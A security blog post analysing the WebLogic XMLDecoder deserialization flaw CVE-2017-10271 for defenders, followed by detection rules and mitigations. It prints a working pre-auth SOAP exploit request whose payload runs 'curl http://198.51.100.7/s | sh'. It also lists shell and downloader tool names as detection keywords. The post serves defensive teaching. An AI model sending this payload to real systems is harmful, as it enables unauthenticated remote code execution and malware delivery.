Anatomy of a working exploit
Every exploit tells a story about a defender's assumptions. Dissecting a proof-of-concept line by line is not a celebration of offense — it recovers the design decisions that made the offense possible, so those decisions can be invalidated wherever else they hide. This post examines a canonical server-side deserialization exploit against Oracle WebLogic Server, CVE-2017-10271, then generalizes what the PoC actually proves so blue teams and application-security engineers can operationalize the lessons beyond a single patch.
The choice is deliberate. Nearly a decade after disclosure, WebLogic XMLDecoder gadgets keep resurfacing in intrusion reports, cryptomining campaigns, and initial-access broker inventories. The root cause is a class of trust boundary, not a single missing filter — and the PoC makes that boundary visible in a way that a CVSS score cannot.
The one-request exploit
The vulnerable surface is the WLS Security SOAP endpoint, exposed at /wls-wsat/CoordinatorPortType. The service accepts a SOAP envelope whose <work:WorkContext> header element is handed directly to java.beans.XMLDecoder. XMLDecoder is a general-purpose Java object graph reconstructor: it instantiates arbitrary classes, invokes arbitrary methods, and passes arbitrary arguments — exactly the primitive an attacker needs.
A minimal working PoC is a single HTTP POST:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: target.internal:7001
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 641
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/sh</string></void>
<void index="1"><string>-c</string></void>
<void index="2">
<string>curl http://198.51.100.7/s | sh</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
Three properties of this request matter.
First, it is unauthenticated. The endpoint is reachable pre-auth in a default installation, so any network path to port 7001 is an exploitation path. Second, it is stateless: no session, no CSRF token, no chaining. Third, the payload lives entirely inside a SOAP header namespace operators rarely monitor. Any WAF rule tuned to Body content or obvious keywords like Runtime.getRuntime() will miss it.
Oracle's initial patch blocklisted the classes appearing in early PoCs — java.lang.ProcessBuilder, java.lang.Runtime. Within weeks, researchers demonstrated bypasses using void/array/new primitives that reached the same execution sink through different class paths; the follow-up patches spawned CVE-2017-3506 and eventually CVE-2019-2725. The pattern to notice is not the class list: a filter-based fix left the sink in place.
What the PoC actually proves
A working exploit is evidence. Read narrowly, this one proves that a specific unpatched build of a specific product is vulnerable. Read structurally, it proves four things that generalize:
- An untrusted string reached a general-purpose object constructor. Any code path where attacker-controlled bytes reach
XMLDecoder,ObjectInputStream.readObject,yaml.load,pickle.loads,Marshal.load, or PHPunserializeexhibits the same behavior class. The framework is incidental. - The reachable class graph is enormous.
ProcessBuilderis convenient, but the exploitable set is every class on the classpath with a public constructor or setter that produces a side effect. Gadget chains against Commons-Collections, Spring, and Jackson all follow this shape. - Blocklists do not shrink a class graph. Name-checking classes ships a bypass with every new dependency the app adds. The only durable mitigation is to disallow polymorphic deserialization of untrusted input — or constrain it with an explicit allowlist of concrete types.
- Blast radius is set by process identity, not request identity. WebLogic ran as a service account with domain reach. The RCE inherits that account. Everything downstream — database credentials in
boot.properties, JNDI trust to internal services, write access to shared NFS — becomes exploit surface.
Turning the PoC into detections
A good detection follows the exploit primitive, not the exploit string. Three signal families are effective and cheap:
- Application-layer signature. Alert on any HTTP request to
/wls-wsat/,/_async/, or/console/*whose body containsjava.beans.XMLDecoderor the sequence<void class=. Both tokens are effectively never legitimate. - Process-lineage anomaly. WebLogic's Java process should not spawn
sh,bash,cmd.exe,powershell.exe,curl,wget,certutil, orbitsadmin. A single Sysmon or auditd rule on parent-image =javaAND child-image ∈ {shell, downloader} catches not only this bug but every RCE that pivots through a shell. - Egress from tier-2. Application servers rarely need outbound HTTP to arbitrary internet destinations. A default-deny egress policy with a narrow allowlist to update mirrors and telemetry endpoints converts an RCE into a noisy failed callback.
For teams that must keep WebLogic on the wire, compensating controls are unglamorous but decisive: patch to the latest PSU, remove wls-wsat and bea_wls9_async_response.war if unused, front the console with mTLS, and put the whole domain behind an identity-aware proxy so pre-auth surface is not internet-reachable.
Reading exploits like a defender
A CVE summary lies by omission. CVE-2017-10271 reads like a checkbox — a WLS Security bug, patched in October 2017 — until you notice that the same primitive spawned CVE-2019-2725, CVE-2020-2883, CVE-2020-14882, CVE-2023-21931, and a continuing series of variant advisories, all of which resolve to "someone found another way to reach XMLDecoder." Each landed on defender dashboards as a fresh emergency. Each was the same bug in a different hat.
The remediation lesson: fix the class of vulnerability, not the instance. The detection lesson: model the primitive, not the payload. The program lesson: a single reproducible PoC — held, replayed, and re-tested after every dependency bump — is worth more than a hundred scanner findings that no one has proved exploitable in your environment.
Treat exploits as evidence, run them on a schedule, and let the evidence — not the vendor bulletin — decide what "fixed" means.
Verifiable security.